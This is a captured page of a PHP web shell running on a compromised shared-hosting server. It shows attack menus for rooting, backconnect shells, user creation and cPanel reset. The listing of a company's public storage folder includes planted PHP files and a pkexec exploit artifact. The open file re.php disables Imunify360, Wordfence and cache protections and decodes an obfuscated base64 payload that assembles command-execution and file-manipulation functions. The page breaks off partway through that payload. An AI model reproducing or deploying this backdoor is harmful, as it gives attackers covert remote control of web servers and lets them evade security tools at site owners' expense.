Linux cpanel07wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 01:42:00 EDT 2020 x86_64
Apache
: 163.44.198.52 | : 216.73.216.225
Cant Read [ /etc/named.conf ]
8.0.9
cp657342
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home3 /
cp657342 /
public_html /
omicbangkok.shop /
storage /
app /
public /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.tmb
[ DIR ]
drwxr-xr-x
ACCREDITATION Cert.
[ DIR ]
drwxr-xr-x
ALFA_DATA
[ DIR ]
drwxr-xr-x
Application To OMIC Laboratory
[ DIR ]
drwxr-xr-x
Brochure OMIC
[ DIR ]
drwxr-xr-x
CERTIFICATION LAB
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Home
[ DIR ]
drwxr-xr-x
ISO1900
[ DIR ]
drwxr-xr-x
MAP
[ DIR ]
drwxr-xr-x
Map OMIC
[ DIR ]
drwxr-xr-x
QMS
[ DIR ]
drwxr-xr-x
about
[ DIR ]
drwxr-xr-x
banner
[ DIR ]
drwxr-xr-x
brands
[ DIR ]
drwxr-xr-x
download
[ DIR ]
drwxr-xr-x
galleries
[ DIR ]
drwxr-xr-x
master
[ DIR ]
drwxr-xr-x
news
[ DIR ]
drwxr-xr-x
orders
[ DIR ]
drwxr-xr-x
page
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
service
[ DIR ]
drwxr-xr-x
service_catgory
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
vendors
[ DIR ]
drwxr-xr-x
websetting
[ DIR ]
drwxr-xr-x
z
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
fxmLOL.php
12.56
KB
-rw-r--r--
lock360.php
1.4
KB
-rw-r--r--
re.php
82.59
KB
-r--r--r--
reps.php
806
B
-rw-r--r--
test.png
470.3
KB
-rw-r--r--
xv32opc.php
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : re.php
<?php ini_set("imunify360.cleanup_on_restore", false); ini_set('lsapi_backend_off', '1'); // Disable LiteSpeed cache if (function_exists('litespeed_request_headers')) { $headers = litespeed_request_headers(); if (isset($headers['X-LSCACHE'])) { header('X-LSCACHE: off'); } } // Disable Wordfence live traffic and file modifications if (defined('WORDFENCE_VERSION')) { define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true); define('WORDFENCE_DISABLE_FILE_MODS', true); } // Bypass Imunify360 request if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) { $imunifyHeaders = imunify360_request_headers(); if (isset($imunifyHeaders['X-Imunify360-Request'])) { header('X-Imunify360-Request: bypass'); } } // Use Cloudflare connecting IP if available if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; } $vavi = base64_decode("PD9waHAKQHNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywgMCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwojIGZ1bmN0aW9uIFdBRgoKJEFycmF5ID0gWwogICAgJzY3NjU3NDYzNzc2NCcsICMgZ2UgIHRjdyBkID0+IDAKICAgICc2NzZjNmY2MicsICMgZ2wgb2IgPT4gMQogICAgJzY5NzM1ZjY0Njk3MicsICMgaXNfZCBpciA9PiAyCiAgICAnNjk3MzVmNjY2OTZjNjUnLCAjIGlzXyBmaWxlID0+IDMKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgIyBpc193ciBpdGVhYmxlID0+IDQKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgIyBpc19yZSBhZGJsZSA9PiA1CiAgICAnNjY2OTZjNjU3MDY1NzI2ZDczJywgIyBmaWxlcGVyIG1zID0+IDYKICAgICc2NjY5NmM2NScsICMgZiBpbGUgPT4gNwogICAgJzcwNjg3MDVmNzU2ZTYxNmQ2NScsICMgcGhwX3VuYW0gZSA9PiA4CiAgICAnNjc2NTc0NWY2Mzc1NzI3MjY1NmU3NDVmNzU3MzY1NzInLCAjIGdldGMgdXJyZW50dXNlciA9PiA5CiAgICAnNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLCAjIGh0bWwgc3BlY2lhbCA9PiAxMAogICAgJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIGZpbCBlX2dldF9jb250ZW50cyA9PiAxMQogICAgJzZkNmI2NDY5NzInLCAjIG1rIGRpciA9PiAxMgogICAgJzc0NmY3NTYzNjgnLCAjIHRvIHVjaCA9PiAxMwogICAgJzYzNjg2NDY5NzInLCAjIGNoIGRpciA9PiAxNAogICAgJzcyNjU2ZTYxNmQ2NScsICMgcmVuIGFtZSA9PiAxNQogICAgJzY1Nzg2NTYzJywgIyBleGUgYyA9PiAxNgogICAgJzcwNjE3MzczNzQ2ODcyNzUnLCAjIHBhcyBzdGhydSA9PiAxNwogICAgJzczNzk3Mzc0NjU2ZCcsICMgc3lzdCBlbSA9PiAxOAogICAgJzczNjg2NTZjNmM1ZjY1Nzg2NTYzJywgIyBzaCBlbGxfZXhlYyA9PiAxOQogICAgJzcwNmY3MDY1NmUnLCAjIHAgb3BlbiA9PiAyMAogICAgJzcwNjM2YzZmNzM2NScsICMgcGNsIG9zZSA9PiAyMQogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBzdHJlIGFtZ2V0Y29udGVudHMgPT4gMjIKICAgICc3MDcyNmY2MzVmNmY3MDY1NmUnLCAjIHAgcm9jX29wZW4gPT4gMjMKICAgICc3NTZlNmM2OTZlNmInLCAjIHVuIGxpbmsgPT4gMjQKICAgICc3MjZkNjQ2OTcyJywgIyBybWQgaXIgPT4gMjUKICAgICc2NjZmNzA2NTZlJywgIyBmb3AgZW4gPT4gMjYKICAgICc2NjYzNmM2ZjczNjUnLCAjIGZjbCBvc2UgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBmaWxlX3B1dF9jIG9udGVudHMgPT4gMjgKICAgICc2ZDZmNzY2NTVmNzU3MDZjNmY2MTY0NjU2NDVmNjY2OTZjNjUnLCAjIG1vdmVfdXAgbG9hZGVkX2ZpbGUgPT4gMjkKICAgICc2MzY4NmQ2ZjY0JywgIyBjaCBtb2QgPT4gMzAKICAgICc3Mzc5NzM1ZjY3NjU3NDVmNzQ2NTZkNzA1ZjY0Njk3MicsICMgdGVtcCBfZGlyID0+IDMxCiAgICAnNjI2MTczNjUzNjM0NUY2NDY1NjM2RjY0NjUnLCAjID0+IGJhcyBlNiA0IF9kZWNvZGUgPT4gMzIKICAgICc2MjYxNzM2NTM2MzQ1RjY1NkU2MzZGNjQ2NScsICMgPT4gYmEgc2U2IDRfIGVuY29kZSA9PiAzMwpdOwokaGl0dW5nX2FycmF5ID0gY291bnQoJEFycmF5KTsKZm9yICgkaSA9IDA7ICRpIDwgJGhpdHVuZ19hcnJheTsgJGkrKykgewogICAgJGZ1bmdzaVtdID0gdW54KCRBcnJheVskaV0pOwp9CgppZiAoaXNzZXQoJF9HRVRbJ2QnXSkpIHsKICAgICRjZGlyID0gdW54KCRfR0VUWydkJ10pOwogICAgJGZ1bmdzaVsxNF0oJGNkaXIpOwp9IGVsc2UgewogICAgJGNkaXIgPSAkZnVuZ3NpWzBdKCk7Cn0KCmZ1bmN0aW9uIGZpbGVfZXh0KCRmaWxlKQp7CiAgICBpZiAobWltZV9jb250ZW50X3R5cGUoJGZpbGUpID09ICdpbWFnZS9wbmcnIG9yIG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnaW1hZ2UvanBlZycpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWltYWdlIiBzdHlsZT0iY29sb3I6IzA5ZTNhNSI+PC9pPic7CiAgICB9IGVsc2UgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnYXBwbGljYXRpb24veC1odHRwZC1waHAnIG9yIG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAndGV4dC9odG1sJykgewogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtY29kZSIgc3R5bGU9ImNvbG9yOiMwOTg1ZTMiPjwvaT4nOwogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvamF2YXNjcmlwdCcpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtc3F1YXJlLWpzIj48L2k+JzsKICAgIH0gZWxzZSBpZiAobWltZV9jb250ZW50X3R5cGUoJGZpbGUpID09ICdhcHBsaWNhdGlvbi96aXAnIG9yIG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnYXBwbGljYXRpb24veC03ei1jb21wcmVzc2VkJykgewogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtemlwcGVyIiBzdHlsZT0iY29sb3I6I2UzOWEwOSI+PC9pPic7CiAgICB9IGVsc2UgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAndGV4dC9wbGFpbicpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlIiBzdHlsZT0iY29sb3I6I2VkZjdmNSI+PC9pPic7CiAgICB9IGVsc2UgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnYXBwbGljYXRpb24vcGRmJykgewogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXJlZ3VsYXIgZmEtZmlsZS1wZGYiIHN0eWxlPSJjb2xvcjojYmEyYjBmIj48L2k+JzsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1maWxlLWNvZGUiIHN0eWxlPSJjb2xvcjojMDk4NWUzIj48L2k+JzsKICAgIH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGZpbGUpCnsKCiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsKICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgIGZsdXNoKCk7CiAgICAgICAgcmVhZGZpbGUoJGZpbGUpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmlmICgkX0dFVFsnZG9uJ10gPT0gdHJ1ZSkgewogICAgJEZpbGVzRG9uID0gZG93bmxvYWQodW54KCRfR0VUWydkb24nXSkpOwp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+CiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICAgIDxtZXRhIG5hbWU9Imdvb2dsZWJvdCIgY29udGVudD0ibm9pbmRleCI+CiAgICA8dGl0bGU+R2Vja28gWyA8Pz0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107ID8+IF08L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9jb2RlbWlycm9yLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC90aGVtZS9heXUtbWlyYWdlLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9hZGRvbi9oaW50L3Nob3ctaGludC5taW4uY3NzIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzYuNi4wL2Nzcy9hbGwubWluLmNzcyIgaW50ZWdyaXR5PSJzaGE1MTItS2MzMjN2R0JFcXpUbW91QUVDblZjZXlRcXlxZHNTaXFMUUlTQkwyOWFVVzRVL003cFNQQS9nRVVaUXF2MWN3eDRPbll4VHh2ZTVVTWc1R1Q2TDRKSmc9PSIgY3Jvc3NvcmlnaW49ImFub255bW91cyIgcmVmZXJyZXJwb2xpY3k9Im5vLXJlZmVycmVyIiAvPgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Ii8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vc3dlZXRhbGVydDJAMTEiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNS42My4wL2NvZGVtaXJyb3IubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9tb2RlL3htbC94bWwubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9tb2RlL2phdmFzY3JpcHQvamF2YXNjcmlwdC5taW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNS42My4wL2FkZG9uL2hpbnQvc2hvdy1oaW50Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvYWRkb24vaGludC94bWwtaGludC5taW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNS42My4wL2FkZG9uL2hpbnQvaHRtbC1oaW50Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c3R5bGU+CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIGFuZCAobWluLWhlaWdodDo3MjBweCkgewogICAgICAgICAgICAuY29kZS1lZGl0b3ItY29udGFpbmVyIHsKICAgICAgICAgICAgICAgIGhlaWdodDogODV2aCAhaW1wb3J0YW50OwogICAgICAgICAgICB9CgogICAgICAgICAgICAuQ29kZU1pcnJvciB7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDcydmggIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogeHgtbGFyZ2UgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIG1hcmdpbjogMCA0cHg7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5idG4tbW9kYWwtY2xvc2UgewogICAgICAgICAgICAgICAgcGFkZGluZzogMTVweCA0MHB4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0LAogICAgICAgIGEgewogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmCiAgICAgICAgfQoKICAgICAgICBhLAogICAgICAgIGJvZHkgewogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgLmJ0bi1zdWJtaXQsCiAgICAgICAgLmZvcm0tZmlsZSwKICAgICAgICB0Ym9keSB0cjpudGgtY2hpbGQoMm4pIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjQyZAogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLAogICAgICAgIC5tb2RhbCwKICAgICAgICAudGVybWluYWwgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMAogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLWJvZHkgdGV4dGFyZWEsCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgdGV4dGFyZWEgewogICAgICAgICAgICB3aWR0aDogOTguNSU7CiAgICAgICAgICAgIGhlaWdodDogNDAwcHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogc21hbGxlcjsKICAgICAgICAgICAgcmVzaXplOiBub25lCiAgICAgICAgfQoKICAgICAgICAubWVudS10b29scyBsaSwKICAgICAgICAudGVybWluYWwtYm9keSBsaSwKICAgICAgICAudGVybWluYWwtaGVhZCBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jawogICAgICAgIH0KCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwZTBmMTc7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2UKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwtY2xvc2U6aG92ZXIsCiAgICAgICAgLmJ0bi1zdWJtaXQ6aG92ZXIsCiAgICAgICAgLm1lbnUtZmlsZS1tYW5hZ2VyIHVsLAogICAgICAgIC5wYXRoLXB3ZCwKICAgICAgICB0aGVhZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyZTMxM2QKICAgICAgICB9CgogICAgICAgIHVsIHsKICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1lbnUtaGVhZGVyIGxpIHsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDAKICAgICAgICB9CgogICAgICAgIC5tZW51LWhlYWRlciB1bCBsaSB7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgIGZvbnQtc3R5bGU6IGl0YWxpYwogICAgICAgIH0KCiAgICAgICAgLmJ0bi1zdWJtaXQgewogICAgICAgICAgICBwYWRkaW5nOiA3cHggMjVweDsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgZ3JleTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4CiAgICAgICAgfQoKICAgICAgICAuZm9ybS1maWxlLAogICAgICAgIGE6aG92ZXIgewogICAgICAgICAgICBjb2xvcjogI2M1YzhkNgogICAgICAgIH0KCiAgICAgICAgLmJ0bi1zdWJtaXQ6aG92ZXIgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjYzVjOGQ2CiAgICAgICAgfQoKICAgICAgICAuZm9ybS11cGxvYWQgewogICAgICAgICAgICBtYXJnaW46IDEwcHggMAogICAgICAgIH0KCiAgICAgICAgLmZvcm0tZmlsZSB7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGdyZXk7CiAgICAgICAgICAgIHBhZGRpbmc6IDdweCAyMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5tZW51LXRvb2xzIHsKICAgICAgICAgICAgd2lkdGg6IDk1JQogICAgICAgIH0KCiAgICAgICAgLm1lbnUtdG9vbHMgbGkgewogICAgICAgICAgICBtYXJnaW46IDE1cHggMAogICAgICAgIH0KCiAgICAgICAgLm1lbnUtZmlsZS1tYW5hZ2VyLAogICAgICAgIC5tb2RhbC1tYWlsLXRleHQgewogICAgICAgICAgICBtYXJnaW46IDEwcHggNDBweAogICAgICAgIH0KCiAgICAgICAgLm1lbnUtZmlsZS1tYW5hZ2VyIGxpIHsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgICAgICBtYXJnaW46IDE1cHggMjBweAogICAgICAgIH0KCiAgICAgICAgLm1lbnUtZmlsZS1tYW5hZ2VyIGxpIGE6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIiI7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2ZmZgogICAgICAgIH0KCiAgICAgICAgLnBhdGgtcHdkIHsKICAgICAgICAgICAgcGFkZGluZzogMTVweCAwOwogICAgICAgICAgICBtYXJnaW46IDVweCAwCiAgICAgICAgfQoKICAgICAgICB0YWJsZSB7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweAogICAgICAgIH0KCiAgICAgICAgdGhlYWQgewogICAgICAgICAgICBoZWlnaHQ6IDM1cHgKICAgICAgICB9CgogICAgICAgIHRib2R5IHRyIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAwCiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0ciB0ZDpudGgtY2hpbGQoMiksCiAgICAgICAgdGJvZHkgdHIgdGQ6bnRoLWNoaWxkKDMpLAogICAgICAgIHRib2R5IHRyIHRkOm50aC1jaGlsZCg0KSB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcgogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhciB7CiAgICAgICAgICAgIHdpZHRoOiAxNnB4CiAgICAgICAgfQoKICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzBlMGYxNwogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI0MmQ7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICM1NTU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10aHVtYjpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM1NTUKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b24gewogICAgICAgICAgICBkaXNwbGF5OiBub25lCiAgICAgICAgfQoKICAgICAgICAubW9kYWwgewogICAgICAgICAgICBkaXNwbGF5OiBub25lOwogICAgICAgICAgICB6LWluZGV4OiAyOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgwLCAwLCAwLCAuMykKICAgICAgICB9CgogICAgICAgIC5tb2RhbC1jb250YWluZXIgewogICAgICAgICAgICBhbmltYXRpb24tbmFtZTogbW9kYWwtcG9wLW91dDsKICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAuN3M7CiAgICAgICAgICAgIGFuaW1hdGlvbi1maWxsLW1vZGU6IGJvdGg7CiAgICAgICAgICAgIG1hcmdpbjogMTAlIGF1dG8gYXV0bzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsKICAgICAgICAgICAgd2lkdGg6IDgwMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY5CiAgICAgICAgfQoKICAgICAgICBAa2V5ZnJhbWVzIG1vZGFsLXBvcC1vdXQgewogICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgIG9wYWNpdHk6IDAKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdG8gewogICAgICAgICAgICAgICAgb3BhY2l0eTogMQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAubW9kYWwtaGVhZGVyIHsKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAzMHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4CiAgICAgICAgfQoKICAgICAgICAubW9kYWwtYm9keSwKICAgICAgICAudGVybWluYWwtaGVhZCBsaSB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtY3JlYXRlLWlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDcwMHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOTsKICAgICAgICAgICAgbWFyZ2luOiAwIDUlOwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYm94LXNoYWRvdzogOHB4IDhweCAyMHB4IHJnYmEoMCwgMCwgMCwgLjIpOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzBlMGYxNwogICAgICAgIH0KCiAgICAgICAgLmJveC1zaGFkb3cgewogICAgICAgICAgICBib3gtc2hhZG93OiA4cHggOHB4IDhweCByZ2JhKDAsIDAsIDAsIC4yKQogICAgICAgIH0KCiAgICAgICAgLmJ0bi1tb2RhbC1jbG9zZSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDM1cHgKICAgICAgICB9CgogICAgICAgIC5iYWRnZS1hY3Rpb24tY2htb2Q6aG92ZXI6OmFmdGVyLAogICAgICAgIC5iYWRnZS1hY3Rpb24tZG93bmxvYWQ6aG92ZXI6OmFmdGVyLAogICAgICAgIC5iYWRnZS1hY3Rpb24tZWRpdG9yOmhvdmVyOjphZnRlciB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTEwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyZTMxM2QKICAgICAgICB9CgogICAgICAgIC5tb2RhbC1idG4tZm9ybSB7CiAgICAgICAgICAgIG1hcmdpbjogMTVweCAwOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodAogICAgICAgIH0KCiAgICAgICAgLmZpbGUtc2l6ZSB7CiAgICAgICAgICAgIGNvbG9yOiBvcmFuZ2UKICAgICAgICB9CgogICAgICAgIC5iYWRnZS1yb290OjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJyb290IjsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgd2lkdGg6IDQwcHg7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlc